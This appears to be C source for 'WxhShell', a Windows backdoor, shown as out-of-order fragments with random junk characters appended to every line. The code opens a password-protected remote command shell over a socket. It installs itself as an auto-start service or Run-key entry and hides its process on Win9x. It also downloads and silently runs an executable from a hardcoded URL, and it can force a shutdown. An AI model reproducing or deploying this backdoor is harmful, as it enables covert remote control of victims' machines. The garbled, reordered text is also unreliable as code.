  case 'd': { lwEJ)Bv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 99%oY  
    if(Boot(SHUTDOWN)) }5~|h%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nUi 4!|r  
    else { 5[.Dlpa'7  
    closesocket(wsh); F-?K]t#  
    ExitThread(0); T8& kxp  
    } $Hcp.J[O  
    break; 8W$uw~|dw  
    } ezRhSN?  
  // 获取shell  -1Acprr  
  case 's': { 3n;UXYJ%  
    CmdShell(wsh); hj@< wU  
    closesocket(wsh); gs)wQgJ[  
    ExitThread(0); Ek|#P{!  
    break; >p4#AfGF  
  } M>+FIb(  
  // 退出 &kKopJH  
  case 'x': { ?-CZJr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ',L>UIXw  
    CloseIt(wsh); .LDK+c  
    break; Xx_ v>Jn!  
    } Y! e  
  // 离开 0|<ER3xkx  
  case 'q': { vzl+0"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tu}AJ  
    closesocket(wsh); Ws"eF0,'Z  
    WSACleanup();  gBQK  
    exit(1); =e'b*KTL,  
    break; GxWA=Xp^~G  
        } =h,6/cs  
  } [03$*BCq3  
  } ".jY3<bQg  
R7: >'*F  
  // 提示信息 h|h-<G?>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [)V&$~xW  
} qdoJIP{  
  } d;` bX+K  
iM;7V*u  
  return; WZq0$:I;R  
} IXYSZ)z  
bF:]MB^VK  
// shell模块句柄 |=H*" (  
int CmdShell(SOCKET sock) cI)T@Zg_o+  
{ ?0_Bs4O\  
STARTUPINFO si; <}S1ZEZcQ  
ZeroMemory(&si,sizeof(si)); B{'x2I#,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5y07@x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YEF|SEon0  
PROCESS_INFORMATION ProcessInfo; _:ypPR J  
char cmdline[]="cmd"; >[TB8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ("(:wYR%  
  return 0; >%jQw.  
} d#yb($HAJ  
MxMrLiqU6l  
// 自身启动模式 Lc ,te1  
int StartFromService(void) S-{3'D[Nj  
{ 2_@vSwC  
typedef struct !e?;f=1+E  
{ 8&FnXhZg4  
  DWORD ExitStatus; "Ka2jw,  
  DWORD PebBaseAddress; X]6Hgz66  
  DWORD AffinityMask; ?3bUE\p  
  DWORD BasePriority; 'V";"Ei  
  ULONG UniqueProcessId; j)IXe 0dMC  
  ULONG InheritedFromUniqueProcessId; >SO !{  
}   PROCESS_BASIC_INFORMATION; C'x?riJ/  
q{/>hvl  
PROCNTQSIP NtQueryInformationProcess; v'Y)~Kv@!  
pE{ZWW[@+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,H!E :k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L~N<<8?\   
)rJ{}U:S  
  HANDLE             hProcess; l$KC\$?%*  
  PROCESS_BASIC_INFORMATION pbi; 5:(uD3]  
g3~e#vdz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a f[<[2pma  
  if(NULL == hInst ) return 0; QI*Y7R~<  
v;.7-9c*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kL;sA'I:S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [4uTp[U!r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <4,hrx&.  
,4$ZB(\  
  if (!NtQueryInformationProcess) return 0;  9?c0cwP?  
r )8[LN-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `I+G7K K  
  if(!hProcess) return 0; 3=w$1.B d  
vZj:\geV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'PW~4f/m  
JSXudz5 c  
  CloseHandle(hProcess); ,f0|eu>  
j'Ry.8}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g.yr) LHt0  
if(hProcess==NULL) return 0; BS<5b*wG  
\6A-eWIQif  
HMODULE hMod; + v.I|c  
char procName[255]; M\5aJ:cQ+  
unsigned long cbNeeded; aw9/bp*N  
yRt]i>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K=x>%6W7b  
|^jl^oW  
  CloseHandle(hProcess); #" {wm  
gMe)\5`\Y  
if(strstr(procName,"services")) return 1; // 以服务启动 {E *dDv  
,Bh!|H(?L1  
  return 0; // 注册表启动 "~~Js~  
} JWhi*je  
TR:V7 d  
// 主模块 df_hmkyj  
int StartWxhshell(LPSTR lpCmdLine) wc7gOrPpm  
{ |sd0fTK  
  SOCKET wsl; 4/Ub%t -  
BOOL val=TRUE; -a:+ h\K  
  int port=0; o HqBNTyH  
  struct sockaddr_in door; EA.4 m3  
9PXG*r|D  
  if(wscfg.ws_autoins) Install(); Fd@n#DR `  
E,5XX;|  
port=atoi(lpCmdLine);  >-EJLa  
;&B;RUUnTO  
if(port<=0) port=wscfg.ws_port; 3F fS2we  
V 8`o71p  
  WSADATA data; eZes) &4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m$^Wyk}  
J^tLKTB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )}QtK+Rq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x6Q,$B  
  door.sin_family = AF_INET; +"1@ 6,M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YlfzHeN1  
  door.sin_port = htons(port); @=CN#D12  
= GUgb2TAT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }7p`8?  
closesocket(wsl); ;&mefaFlWp  
return 1; _*\:UBZx6  
} d{^9` J'  
)C^ZzmB  
  if(listen(wsl,2) == INVALID_SOCKET) { ) #G5XS+)  
closesocket(wsl); ' S%?&4  
return 1; %M"rc4Xd  
} bgD4;)?5b  
  Wxhshell(wsl); [(Z{5gK  
  WSACleanup(); I8*_\Ez  
cXM4+pa=%  
return 0; mS)|i+5  
^P30g2gv>  
} _a?c,<A  
\09m ?;^  
// 以NT服务方式启动 RsnK B /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8T ?=_|  
{ Ql`N)!  
DWORD   status = 0; Ph@hk0dgr/  
  DWORD   specificError = 0xfffffff; ~>8yJLZ.7  
ZDHm@,d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NP }b   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mr/;$O{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YN.[KQ(!  
  serviceStatus.dwWin32ExitCode     = 0; }>`rf{T  
  serviceStatus.dwServiceSpecificExitCode = 0; @smjXeF o  
  serviceStatus.dwCheckPoint       = 0; jz CA2N%  
  serviceStatus.dwWaitHint       = 0; 4%k{vo5i  
}N @8zB~X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AlZ]UGf^  
  if (hServiceStatusHandle==0) return; %UGXgYDz  
`h%(ZG ~  
status = GetLastError(); ?T.'  q  
  if (status!=NO_ERROR) %x(||cq  
{ Tj0qq.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~kHWh8\b:  
    serviceStatus.dwCheckPoint       = 0; 0?@;zTE0  
    serviceStatus.dwWaitHint       = 0; bH 6i1c8  
    serviceStatus.dwWin32ExitCode     = status; 4KSZ;fV6/  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;UU`kk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ck0K^o v  
    return; FU]jI[  
  } p./9^S  
ngmHiI W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V)|]w[(Y  
  serviceStatus.dwCheckPoint       = 0; HLYog+?  
  serviceStatus.dwWaitHint       = 0;  .7GTL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .J?cV;:`  
} o03Y w)*  
P_(QG 6  
// 处理NT服务事件,比如:启动、停止 },r9f MJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _x+)Tv  
{ CEQs}bz  
switch(fdwControl) JU>F&g/|  
{ 'YFy6rds  
case SERVICE_CONTROL_STOP: iX]tL:,~i  
  serviceStatus.dwWin32ExitCode = 0; LN=6u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *;E\,,Io  
  serviceStatus.dwCheckPoint   = 0; 8.`*O  
  serviceStatus.dwWaitHint     = 0; },eV?eGj  
  { Q)mYy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TR7j`?  
  } Pk2=*{:W  
  return; Y6+/_$N4|  
case SERVICE_CONTROL_PAUSE: QOT|6)Yb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &/+LY_r'<I  
  break; h*X5O h6  
case SERVICE_CONTROL_CONTINUE:  }BFX7X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &9j*Y  
  break; uV=ZGr#o  
case SERVICE_CONTROL_INTERROGATE: C-2{<$2k  
  break; YY4XCkt  
}; =lb5 #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Od=WQv+  
} #(Xv\OE  
2E 0A`  
// 标准应用程序主函数 z^,P2kqK_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %fJ~ 3mu  
{ _P}wO8  
>;^t)6  
// 获取操作系统版本 Rz03he  
OsIsNt=GetOsVer(); Y|X!da/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (&o|}"kRq  
Xtk3~@  
  // 从命令行安装 h/s8".\  
  if(strpbrk(lpCmdLine,"iI")) Install(); td!YwN*  
0bz':M#k &  
  // 下载执行文件 u.yjk/jF  
if(wscfg.ws_downexe) { eeVzOq(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TxA%{0  
  WinExec(wscfg.ws_filenam,SW_HIDE); FE=vUQXE2  
} DeK&_)g| Z  
OCN:{  
if(!OsIsNt) { tO}Y=kZa{  
// 如果时win9x,隐藏进程并且设置为注册表启动 JHJIjYG>P  
HideProc(); 52P^0<Wq  
StartWxhshell(lpCmdLine); >1*Dg?/=S  
} ^ }kqAmr  
else M&SY2\\TB  
  if(StartFromService()) 2Q;g|*]  
  // 以服务方式启动 tNf_,]u  
  StartServiceCtrlDispatcher(DispatchTable); q;Rhx"x>T  
else ZCAg)/  
  // 普通方式启动 ./qbWr`L  
  StartWxhshell(lpCmdLine); 7X{@$>+S  
MhDPf]` Gg  
return 0; J ]ri|a  
} $z,rN\[  
zq Cr'$  
P0c6?K6 j  
Wr6y w#  
=========================================== kNg{  
eW\C@>Ke  
bbG!Fg=qQ?  
jJ7"9  
SdXAL  
Ue&I]/?;$  
" |Duf 3u  
cv7.=*Kb;  
#include <stdio.h> -~NjZ=vPh  
#include <string.h> j V'~>  
#include <windows.h> 3kW%,d*_  
#include <winsock2.h> (nnIRN<}$  
#include <winsvc.h> /4>|6l=  
#include <urlmon.h> FIN0~ 8  
t~V?p'a0ys  
#pragma comment (lib, "Ws2_32.lib") u`gY/]y!  
#pragma comment (lib, "urlmon.lib") Uqd2{fji=#  
uB;PaZ G?{  
#define MAX_USER   100 // 最大客户端连接数 SU7 erCHX  
#define BUF_SOCK   200 // sock buffer L"It0C  
#define KEY_BUFF   255 // 输入 buffer zgPUW z X=  
}JM02R~I  
#define REBOOT     0   // 重启 ekPn`U  
#define SHUTDOWN   1   // 关机 ,|^ lqY  
jRBKy8?[C  
#define DEF_PORT   5000 // 监听端口 S<o\.&J  
\E8CC>Jd  
#define REG_LEN     16   // 注册表键长度 S{S.H?{F  
#define SVC_LEN     80   // NT服务名长度 8,&pX ga  
1Gp| _8  
// 从dll定义API 5e >qBw8t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1#V&'A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oTb4T=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f-5}`)`.+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yv(\5)XF  
'/GZ/$a_l  
// wxhshell配置信息 0 czEA  
struct WSCFG { ia*Bcx_RW+  
  int ws_port;         // 监听端口 h,x'-]q  
  char ws_passstr[REG_LEN]; // 口令 O[5u6heNMr  
  int ws_autoins;       // 安装标记, 1=yes 0=no JL=s=9N;3  
  char ws_regname[REG_LEN]; // 注册表键名 &\5%C\0Z<  
  char ws_svcname[REG_LEN]; // 服务名 A)HV#T`N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;@/vKA3l.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iu+rg(*%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iX6'3\Q3A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #vPf$y6jCI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m%.7l8vT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s-e<&*D[  
3h4'DQ.g  
}; .]LP327u  
wh#x`Nc  
// default Wxhshell configuration ,K8(D<{  
struct WSCFG wscfg={DEF_PORT, =P`l+k3  
    "xuhuanlingzhe", yr q){W  
    1, +<7a$/L?4  
    "Wxhshell", lQt* LWd[  
    "Wxhshell", sSsRn*LN-:  
            "WxhShell Service", a3B^RbDP&8  
    "Wrsky Windows CmdShell Service", m ol|E={si  
    "Please Input Your Password: ", 9D H}6fO  
  1, R zn%!d^$>  
  "http://www.wrsky.com/wxhshell.exe", !^IAn  
  "Wxhshell.exe" x`Ik747^v  
    }; (I ~r~5^  
2|}KBny  
// 消息定义模块 7rjS.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VN >X/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P7y.:%DGD0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <lf6gb  
char *msg_ws_ext="\n\rExit."; \Z/# s;c,4  
char *msg_ws_end="\n\rQuit."; i1-wzI  
char *msg_ws_boot="\n\rReboot...";  $&to(  
char *msg_ws_poff="\n\rShutdown..."; r=:o$e  
char *msg_ws_down="\n\rSave to "; "dFuQB  
]7 2wv#-  
char *msg_ws_err="\n\rErr!"; a{! 8T  
char *msg_ws_ok="\n\rOK!"; 0RkiD8U5  
=Y<RG"]a&J  
char ExeFile[MAX_PATH]; nhI1`l&  
int nUser = 0; 7gP8K`w?[  
HANDLE handles[MAX_USER]; t(\P8J  
int OsIsNt; ~,O}wT6q  
&/{x7;e  
SERVICE_STATUS       serviceStatus; rRd8W}B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "Rq)%o$Z  
{U7A&e0eW  
// 函数声明 mqKr+  
int Install(void); &?#!%Ds  
int Uninstall(void); z|WDqB%/I  
int DownloadFile(char *sURL, SOCKET wsh); Nh+ZSV4WJ:  
int Boot(int flag); .>+jtp}  
void HideProc(void); p WLFJH}N  
int GetOsVer(void); Ukg iSv+  
int Wxhshell(SOCKET wsl); '`/w%OEVC5  
void TalkWithClient(void *cs); O>Ao#_*hOb  
int CmdShell(SOCKET sock); <"}WpT  
int StartFromService(void); 3`> nQ4zC  
int StartWxhshell(LPSTR lpCmdLine); _sI\^yZd  
XE.Y?{,R$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q??nw^8Hi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X.hV MX2B  
YMIX|bj6Y  
// 数据结构和表定义 U(u$5  
SERVICE_TABLE_ENTRY DispatchTable[] = #hP&;HZ2>"  
{ _%6Vcy  
{wscfg.ws_svcname, NTServiceMain}, d ~3G EK  
{NULL, NULL} @DK;i_i  
}; 0OPpALl  
[XDr-5Dm  
// 自我安装 # `b5kqQm  
int Install(void) riY[p,  
{ ma7@vD  
  char svExeFile[MAX_PATH]; ;sfk@ec  
  HKEY key; 7) e#b  
  strcpy(svExeFile,ExeFile); rulw6vTB(  
(Gpk;DD  
// 如果是win9x系统,修改注册表设为自启动 4Q5 c'  
if(!OsIsNt) { rhvTV(Bz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _)F0o C {  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4&/m>%r  
  RegCloseKey(key); nk-V{']  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [SA$d`B/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \<4Hp_2?  
  RegCloseKey(key); fk  
  return 0; e+7x &-+  
    } oar`xH$C  
  } X/-u$c  
} Q2HULz{  
else { wC4:OJ[d  
&W:R#/|  
// 如果是NT以上系统,安装为系统服务 HE>sZ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #+ 6t|  
if (schSCManager!=0) YMTB4|{  
{ { 0 vHgi  
  SC_HANDLE schService = CreateService eE-c40Bae  
  ( (v$$`zh  
  schSCManager, :c^9\8S  
  wscfg.ws_svcname, U2)y fhI  
  wscfg.ws_svcdisp, PTFe>~vr*  
  SERVICE_ALL_ACCESS, M~#% [?iU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7n*[r*$  
  SERVICE_AUTO_START, of>"qrdZ  
  SERVICE_ERROR_NORMAL, |m /XGr  
  svExeFile, ';OZP2  
  NULL, a>/cVu'kz  
  NULL, #(Ah>y  
  NULL,  wk (}q  
  NULL, a0=5G>G9c  
  NULL 1X$hwkof  
  ); _;yi/)-2  
  if (schService!=0) cp\A xWtUZ  
  { |jwN8@  
  CloseServiceHandle(schService); -L)b;0%  
  CloseServiceHandle(schSCManager); 0'O*Y ]h+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .P>-Fh,_p  
  strcat(svExeFile,wscfg.ws_svcname); 1xF<c<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z$&i"1{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dJYQdo^X  
  RegCloseKey(key); Bm&%N?9  
  return 0; \"^.>+  
    } .ECT  
  } ?Pw(  
  CloseServiceHandle(schSCManager); -yH8bm'0"  
} FELTmQUV  
} P-~kxb9aa  
Lm}J& ^>  
return 1; eFiUB  
} &@anv.D  
G,6Zy-Y9  
// 自我卸载 _6 ,Tb]  
int Uninstall(void) 9X6l`bo'  
{ Jf|6 FQo&  
  HKEY key; dDoKmuY>5  
#Z.2g].  
if(!OsIsNt) { lqe71](sK8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ddiBjp2.!  
  RegDeleteValue(key,wscfg.ws_regname); _>"f&nb O  
  RegCloseKey(key); A]k-bX= s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IU*w 'a  
  RegDeleteValue(key,wscfg.ws_regname); ~0ku,P#D  
  RegCloseKey(key); ;`P}\Q{  
  return 0; d:V6.7>,  
  } TaN]{k  
} M~+T $K  
} lImg+r T{  
else { rS3* k3  
6 s$jt-bH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /y<nAGtD&  
if (schSCManager!=0) K@UQ O  
{ &lp5W)D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E")g1xGaK  
  if (schService!=0) O5?Gv??@  
  { C0bOPn  
  if(DeleteService(schService)!=0) { %m5&U6  
  CloseServiceHandle(schService); ca{u"n  
  CloseServiceHandle(schSCManager); 'eRJQ*0F  
  return 0; %Qc5_of  
  } #^FDFl  
  CloseServiceHandle(schService); B}YpIb]d  
  } ozr82  
  CloseServiceHandle(schSCManager);  T.{sO`  
} u^!c:RfE?  
} 861!p%y5  
_:Jra  
return 1; ^`&?"yj<z  
} Cm5:_K`;]  
S`qa_yI)Ed  
// 从指定url下载文件 n,E =eNc  
int DownloadFile(char *sURL, SOCKET wsh) |VPJaiC~  
{ Q-:IE T  
  HRESULT hr; +g6t)Gl  
char seps[]= "/"; W$X@DXT=o  
char *token; rL=_z^.P  
char *file; |d B`URP  
char myURL[MAX_PATH];  c>(`X@KL  
char myFILE[MAX_PATH]; #kt3l59Ty  
keYvscRBI  
strcpy(myURL,sURL); :~1sF_  
  token=strtok(myURL,seps); ,GH;jw)P  
  while(token!=NULL) ^*fZ  
  { :GaK.W q  
    file=token; iO,_0Y4  
  token=strtok(NULL,seps); D@cv{ _M/  
  } O0Vtvbj  
c< P ML|e  
GetCurrentDirectory(MAX_PATH,myFILE); t'{\S_  
strcat(myFILE, "\\"); U0Y;*_>4  
strcat(myFILE, file); [z^db0PU  
  send(wsh,myFILE,strlen(myFILE),0); Vif0z*\e{  
send(wsh,"...",3,0); ;GgW&*|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =QiVcw,G#  
  if(hr==S_OK) )t-Jc+*A>  
return 0; wf= s-C  
else ^^-uq)A  
return 1; y ;$8C  
WjrUns  
} CfWtCA  
~baVS-v  
// 系统电源模块 mimJ_=]DC  
int Boot(int flag) 0xe!tA  
{ ?1G7=R  
  HANDLE hToken; 79?%g=#=  
  TOKEN_PRIVILEGES tkp; EMV<PshW=  
.|pyloL.  
  if(OsIsNt) { u6,NQ^4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I,:R~^qJ8v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G q" [5r"  
    tkp.PrivilegeCount = 1; EPZ^I)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FccT@ ,.F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .[ E"Kb}=  
if(flag==REBOOT) { &s|a\!>l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |"Rl_+d7D  
  return 0; b"t<B2N  
} ?)ROQ1-#@  
else { g@<E0 q&`$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bHi0N@W!vG  
  return 0; oBm^RHTZ  
} R>ak 3Y  
  } 1ud+~y$K  
  else { NiCH$+c\  
if(flag==REBOOT) { aa'u5<<W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $p)7k   
  return 0; L6xLD X7y  
}  ;m;a"j5  
else { Oh\ +cvbG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]7d~,<3R  
  return 0; Kc>C$}/}$  
} x1$:u6YD22  
} mv,<#<-W  
"K"]/3`k-  
return 1; AV%?8-  
} cNX0.7Ls  
[^cflmV  
// win9x进程隐藏模块 d=TZaVL$$  
void HideProc(void) Gl1Qbd0  
{ 7.r}98V  
Aj9Onz,Lg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cPemrNxydN  
  if ( hKernel != NULL ) ;}tEU'&  
  { v[aFSXGj)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zewx*Y|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wQ7G_kVp  
    FreeLibrary(hKernel); J< E"ZoY  
  } oPX `/ X#  
^st.bzg+[  
return; 0u?{"xH{+}  
} 2f%G`4/p  
6%p$C oR  
// 获取操作系统版本 )]=1W  
int GetOsVer(void) FAS+*G Fz  
{ =9lrPQ]w  
  OSVERSIONINFO winfo; 1;\A./FVv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a^ vXwY  
  GetVersionEx(&winfo); # !m`A+!~!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =*icCng  
  return 1; PjH[8:,  
  else PFqc_!Pm  
  return 0; "w)Y0Qq*z  
} 3H_mR j9th  
y;!qE~!3  
// 客户端句柄模块 `Jvy~T  
int Wxhshell(SOCKET wsl) bN ,>,hj  
{ aAlES< r  
  SOCKET wsh; LIo3a38n?y  
  struct sockaddr_in client; C)7T'[  
  DWORD myID; +B 4&$z  
$#cZJ@;]  
  while(nUser<MAX_USER) YpAJ7 E|7  
{ "k8Yc<`u  
  int nSize=sizeof(client); b.`<T "y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;{n@hM*O  
  if(wsh==INVALID_SOCKET) return 1; JQ>GKu~  
NV|[.g=lg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6z/ct|n  
if(handles[nUser]==0) [3yzVcr~4  
  closesocket(wsh); 4k HFfc  
else RGeM.  
  nUser++; :QndeUw  
  } 5}4f[   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BZ]6W/0  
V)$y  
  return 0; NZJ:@J=-  
} jm-J_o;}z6  
QF  P3S(  
// 关闭 socket *H"IW0I  
void CloseIt(SOCKET wsh) gaK m`#  
{ @} nI$x.  
closesocket(wsh); B?Vr9H7n  
nUser--; sHqs)@D  
ExitThread(0); fp jy[$8  
} #Ub"Ii  
6m.ChlO/  
// 客户端请求句柄 "[PxLq5  
void TalkWithClient(void *cs) Zu4|1 W  
{ h>'9-j6B  
|WopsV %  
  SOCKET wsh=(SOCKET)cs; pjC2jlwm*  
  char pwd[SVC_LEN]; b7 pD#v  
  char cmd[KEY_BUFF]; 1]yOC)u"i  
char chr[1]; >-2eZ(n)"  
int i,j; I)xB I~x  
e}x}Fj</(  
  while (nUser < MAX_USER) { r/X4Hy0!lT  
|ZEZ@y^  
if(wscfg.ws_passstr) { S$CO T)7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >m}U|#;W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K[wOK  
  //ZeroMemory(pwd,KEY_BUFF); |x2 +O  
      i=0; 1'skCR|!<  
  while(i<SVC_LEN) { ^i"C%8  
9,?\hBEu  
  // 设置超时 vybQ}dscn  
  fd_set FdRead; yIm@m[B;  
  struct timeval TimeOut; O/X;(qYd  
  FD_ZERO(&FdRead); U>q&p}z0 H  
  FD_SET(wsh,&FdRead); AN!MFsk  
  TimeOut.tv_sec=8; [DW}z  
  TimeOut.tv_usec=0; ISQC{K']J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Pm>mQZ},  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -S7PnR6  
]!u12^A{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QHt;c  
  pwd=chr[0]; 49)A.Bh&!  
  if(chr[0]==0xd || chr[0]==0xa) { @%4MFc0`!  
  pwd=0; jpL' y1@Ut  
  break; Q^^.@FU"x  
  } \5+?wpH  
  i++; k,EI+lCX  
    } {U$qxC]M  
3Y\7+975m  
  // 如果是非法用户,关闭 socket hjuzVOE|W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _%HpB=  
} r52X}Y  
'~dE0ohWb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K3eYeXV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MA:2]l3e  
Hpo/CY/  
while(1) { 0-)D`s%  
87/!u]q  
  ZeroMemory(cmd,KEY_BUFF); 9n$0OH /q  
'64&'.{#>r  
      // 自动支持客户端 telnet标准   so* lV  
  j=0; GZL{~7n  
  while(j<KEY_BUFF) { J`6X6YZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~~U2Sr  
  cmd[j]=chr[0]; ?e? mg  
  if(chr[0]==0xa || chr[0]==0xd) { 0D;MW  
  cmd[j]=0; $rB20!  
  break; dx=\Pq  
  } OD,"8JF  
  j++; |!r.p_Zt  
    } N=qe*Rlf  
vYh_<Rp5  
  // 下载文件 NF& ++Vr6  
  if(strstr(cmd,"http://")) { 5zebH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %5X}4k!p  
  if(DownloadFile(cmd,wsh)) !i0jk,[B=  
